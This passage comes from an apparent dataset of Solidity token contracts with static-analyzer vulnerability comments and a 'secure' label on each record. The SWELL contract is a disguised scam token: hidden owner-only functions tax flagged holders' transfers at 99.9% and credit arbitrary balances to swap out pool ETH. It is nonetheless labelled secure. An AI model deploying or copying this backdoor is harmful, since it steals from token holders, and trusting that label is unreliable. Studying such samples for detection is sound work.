arbitrary-send-eth | ID: 7cf5a3b\n (transactionSuccess, ) = treasuryAccount.call{\n value: balanceOfETH\n }(\"\");\n }\n }\n\n taxTokens.reserveTokensTreasury = 0;\n\t\t// reentrancy-eth | ID: 6185a3f\n taxTokenReserve = taxTokens;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 4b7dfe2): BinanceDog.modifyTaxAndLimits(uint64,uint128).taxConfiguration is a local variable never initialized\n\t// Recommendation for 4b7dfe2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 91697fc): BinanceDog.modifyTaxAndLimits(uint64,uint128).currentTransactionLimits is a local variable never initialized\n\t// Recommendation for 91697fc: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function modifyTaxAndLimits(\n uint64 newTaxValue,\n uint128 currentLimitPercent\n ) internal {\n TaxSetup memory taxConfiguration;\n\t\t// reentrancy-benign | ID: 0d13247\n taxConfiguration.aggregateTax = newTaxValue;\n\t\t// reentrancy-benign | ID: 0d13247\n sellTaxDetails = taxConfiguration;\n buyTaxConfig = taxConfiguration;\n\n if (currentLimitPercent > 0) {\n TransferCaps memory currentTransactionLimits;\n uint128 revisedLimit = uint128(\n (totalSupply() * currentLimitPercent) / 10000\n );\n currentTransactionLimits.maxTransaction = revisedLimit;\n currentTransactionLimits.walletCap = revisedLimit;\n\t\t\t// reentrancy-benign | ID: 0d13247\n txLimits = currentTransactionLimits;\n }\n }\n\n function distributeTokens(\n address[] calldata airdropAddresses,\n uint256[] calldata weiAmounts\n ) external onlyOwner {\n require(\n airdropAddresses.length == weiAmounts.length,\n \"arrays length mismatch\"\n );\n for (uint256 i = 0; i < airdropAddresses.length; i++) {\n super._transfer(msg.sender, airdropAddresses[i], weiAmounts[i]);\n }\n }\n\n function internalBotsSet(\n address addressInfo,\n bool status\n ) internal virtual {\n detectedBots[addressInfo] = status;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 13b6da7): BinanceDog.setSellTaxSettings(uint64).taxConfiguration is a local variable never initialized\n\t// Recommendation for 13b6da7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function setSellTaxSettings(uint64 treasuryTaxValue) external onlyOwner {\n TaxSetup memory taxConfiguration;\n taxConfiguration.aggregateTax = treasuryTaxValue;\n emit UpdateSellTax(taxConfiguration.aggregateTax);\n sellTaxDetails = taxConfiguration;\n }\n\n function transactionMaxModify(uint128 maximumTokens) external onlyOwner {\n require(\n maximumTokens >= ((totalSupply() * 1) / 1000) / (10 ** decimals()),\n \"Too low\"\n );\n txLimits.maxTransaction = uint128(maximumTokens * (10 ** decimals()));\n emit TransactionUpdateMax(txLimits.maxTransaction);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5fe327f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5fe327f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0d13247): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0d13247: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8eed37c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8eed37c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: fd9f997): BinanceDog.calculateTax(address,address,uint256).taxConfigCurrent is a local variable never initialized\n\t// Recommendation for fd9f997: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function calculateTax(\n address origin,\n address recipientEntity,\n uint256 quantity\n ) internal returns (uint256) {\n if (\n balanceOf(address(this)) >= swapMark &&\n !marketMakerAutoPairs[origin]\n\t\t\t// reentrancy-events | ID: 5fe327f\n\t\t\t// reentrancy-benign | ID: 0d13247\n\t\t\t// reentrancy-eth | ID: 8eed37c\n ) {\n swapTaxTokens();\n }\n\n\t\t\t// reentrancy-benign | ID: 0d13247\n if (dynamicTaxToggle) {\n updateInternalTaxes();\n }\n\n uint128 valueTax = 0;\n\n TaxSetup memory taxConfigCurrent;\n\n if (marketMakerAutoPairs[recipientEntity]) {\n taxConfigCurrent = sellTaxDetails;\n } else if (marketMakerAutoPairs[origin]) {\n taxConfigCurrent = buyTaxConfig;\n }\n\n if (taxConfigCurrent.aggregateTax > 0) {\n TaxTokenData memory taxTokensLatest = taxTokenReserve;\n valueTax = uint128(\n (quantity * taxConfigCurrent.aggregateTax) / DIVISOR_FEE\n );\n taxTokensLatest.reserveTokensTreasury += uint80(\n (valueTax * taxConfigCurrent.aggregateTax) /\n taxConfigCurrent.aggregateTax /\n 1e9\n );\n\t\t\t// reentrancy-eth | ID: 8eed37c\n taxTokenReserve = taxTokensLatest;\n\t\t\t// reentrancy-events | ID: 5fe327f\n\t\t\t// reentrancy-eth | ID: 8eed37c\n super._transfer(origin, address(this), valueTax);\n }\n\n return valueTax;\n }\n\n function setMaxWallet(uint128 maximumTokens) external onlyOwner {\n require(\n maximumTokens >= ((totalSupply() * 1) / 1000) / (10 ** decimals()),\n \"Too low\"\n );\n txLimits.walletCap = uint128(maximumTokens * (10 ** decimals()));\n emit WalletUpdateMax(txLimits.walletCap);\n }\n\n function setFeeExemptStatus(\n address addressInfo,\n bool feeExemptStatus\n ) external onlyOwner {\n require(addressInfo != address(0), \"Zero Address\");\n require(addressInfo != address(this), \"Cannot unexempt contract\");\n feesExempt[addressInfo] = feeExemptStatus;\n emit SetExemptFee(addressInfo, feeExemptStatus);\n }\n\n function dynamicTaxOff() external onlyOwner {\n require(dynamicTaxToggle, \"Already off\");\n dynamicTaxToggle = false;\n }\n\n function mevProtectionEnabled(bool enabled) external onlyOwner {\n antiMevProtection = enabled;\n }\n\n function disableDelayTransfer() external onlyOwner {\n require(transferDelayEnabled, \"Already disabled!\");\n transferDelayEnabled = false;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0028237): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0028237: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b54e4d3): BinanceDog.commenceOperation() ignores return value by exchangeRouter.addLiquidityETH{value balanceOfETH}(address(this),totalSupplyLiquidity,0,0,owner(),block.timestamp)\n\t// Recommendation for b54e4d3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3567721): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3567721: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function commenceOperation() external payable onlyOwner {\n require(!activeTrading, \"Trading already enabled\");\n\n uint256 totalSupplyLiquidity = balanceOf(address(this));\n require(totalSupplyLiquidity > 0, \"No tokens for liquidity\");\n\n uint256 balanceOfETH = msg.value;\n require(balanceOfETH > 0, \"No ETH for liquidity\");\n\n approve(address(exchangeRouter), totalSupplyLiquidity);\n\n\t\t// reentrancy-benign | ID: 0028237\n\t\t// unused-return | ID: b54e4d3\n\t\t// reentrancy-eth | ID: 3567721\n exchangeRouter.addLiquidityETH{value: balanceOfETH}(\n address(this),\n totalSupplyLiquidity,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-eth | ID: 3567721\n activeTrading = true;\n\t\t// reentrancy-benign | ID: 0028237\n blockStart = block.number;\n }\n receive() external payable {}\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 00007be): BinanceDog.setBuyTaxSettings(uint64).taxConfiguration is a local variable never initialized\n\t// Recommendation for 00007be: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function setBuyTaxSettings(uint64 treasuryTaxValue) external onlyOwner {\n TaxSetup memory taxConfiguration;\n taxConfiguration.aggregateTax = treasuryTaxValue;\n emit ChangedBuyTax(taxConfiguration.aggregateTax);\n buyTaxConfig = taxConfiguration;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 3b69163): BinanceDog.restrictionsRemove().transactionLimitsLocal is a local variable never initialized\n\t// Recommendation for 3b69163: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function restrictionsRemove() external onlyOwner {\n tradeLimitsEnabled = false;\n TransferCaps memory transactionLimitsLocal;\n uint256 supplyAmount = totalSupply();\n transactionLimitsLocal.maxTransaction = uint128(supplyAmount);\n transactionLimitsLocal.walletCap = uint128(supplyAmount);\n txLimits = transactionLimitsLocal;\n emit LimitsEliminated();\n }\n}",
"file_name": "solidity_code_4069.sol",
"secure": 0,
"size_bytes": 27173
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract SWELL is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2b55ecc): SWELL._decimals should be constant \n\t// Recommendation for 2b55ecc: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6b65405): SWELL._totalSupply should be immutable \n\t// Recommendation for 6b65405: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 05d93f5): SWELL._name should be constant \n\t// Recommendation for 05d93f5: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Swell Network\";\n\n\t// WARNING Optimization Issue (constable-states | ID: eed11ce): SWELL._symbol should be constant \n\t// Recommendation for eed11ce: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"SWELL\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 5ff4dd0): SWELL.uniV2Router should be constant \n\t// Recommendation for 5ff4dd0: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: ce97812): SWELL._taxWallet should be immutable \n\t// Recommendation for ce97812: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function opentopubat() public {}\n\n function foropentoat() external {}\n\n function indexatfor() public {}\n\n function foratindex() public {}\n\n function ApproveETHs(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function LPLock(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_407.sol",
"secure": 1,
"size_bytes": 7047
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract DOGEGANG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 41c1a29): DOGEGANG.bots is never initialized. It is used in DOGEGANG._transfer(address,address,uint256)\n\t// Recommendation for 41c1a29: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ebf9340): DOGEGANG._taxWallet should be immutable \n\t// Recommendation for ebf9340: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f7a0c5): DOGEGANG._initialBuyTax should be constant \n\t// Recommendation for 8f7a0c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0744980): DOGEGANG._initialSellTax should be constant \n\t// Recommendation for 0744980: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a31972): DOGEGANG._reduceBuyTaxAt should be constant \n\t// Recommendation for 7a31972: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85b36af): DOGEGANG._reduceSellTaxAt should be constant \n\t// Recommendation for 85b36af: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4caba1c): DOGEGANG._preventSwapBefore should be constant \n\t// Recommendation for 4caba1c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 17;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Doge Gang\";\n\n string private constant _symbol = unicode\"DOGEGANG\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1487d58): DOGEGANG._taxSwapThreshold should be constant \n\t// Recommendation for 1487d58: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: aaf3728): DOGEGANG._maxTaxSwap should be constant \n\t// Recommendation for aaf3728: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1700000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0ce33f7): DOGEGANG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0ce33f7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 560c23b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 560c23b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 864e7b8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 864e7b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 560c23b\n\t\t// reentrancy-benign | ID: 864e7b8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 560c23b\n\t\t// reentrancy-benign | ID: 864e7b8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 01f3357): DOGEGANG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 01f3357: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 864e7b8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 560c23b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 21e2a84): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 21e2a84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 41c1a29): DOGEGANG.bots is never initialized. It is used in DOGEGANG._transfer(address,address,uint256)\n\t// Recommendation for 41c1a29: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 551a512): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 551a512: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 21e2a84\n\t\t\t\t// reentrancy-eth | ID: 551a512\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 21e2a84\n\t\t\t\t\t// reentrancy-eth | ID: 551a512\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 551a512\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 551a512\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 551a512\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 21e2a84\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 551a512\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 551a512\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 21e2a84\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 560c23b\n\t\t// reentrancy-events | ID: 21e2a84\n\t\t// reentrancy-benign | ID: 864e7b8\n\t\t// reentrancy-eth | ID: 551a512\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 911b6da): DOGEGANG.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 911b6da: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 560c23b\n\t\t// reentrancy-events | ID: 21e2a84\n\t\t// reentrancy-eth | ID: 551a512\n\t\t// arbitrary-send-eth | ID: 911b6da\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7eb34c2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7eb34c2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d035350): DOGEGANG.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d035350: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f3b2399): DOGEGANG.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f3b2399: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b70dda0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b70dda0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7eb34c2\n\t\t// reentrancy-eth | ID: b70dda0\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7eb34c2\n\t\t// unused-return | ID: d035350\n\t\t// reentrancy-eth | ID: b70dda0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7eb34c2\n\t\t// unused-return | ID: f3b2399\n\t\t// reentrancy-eth | ID: b70dda0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 7eb34c2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b70dda0\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: ec0cb68): DOGEGANG.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for ec0cb68: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function 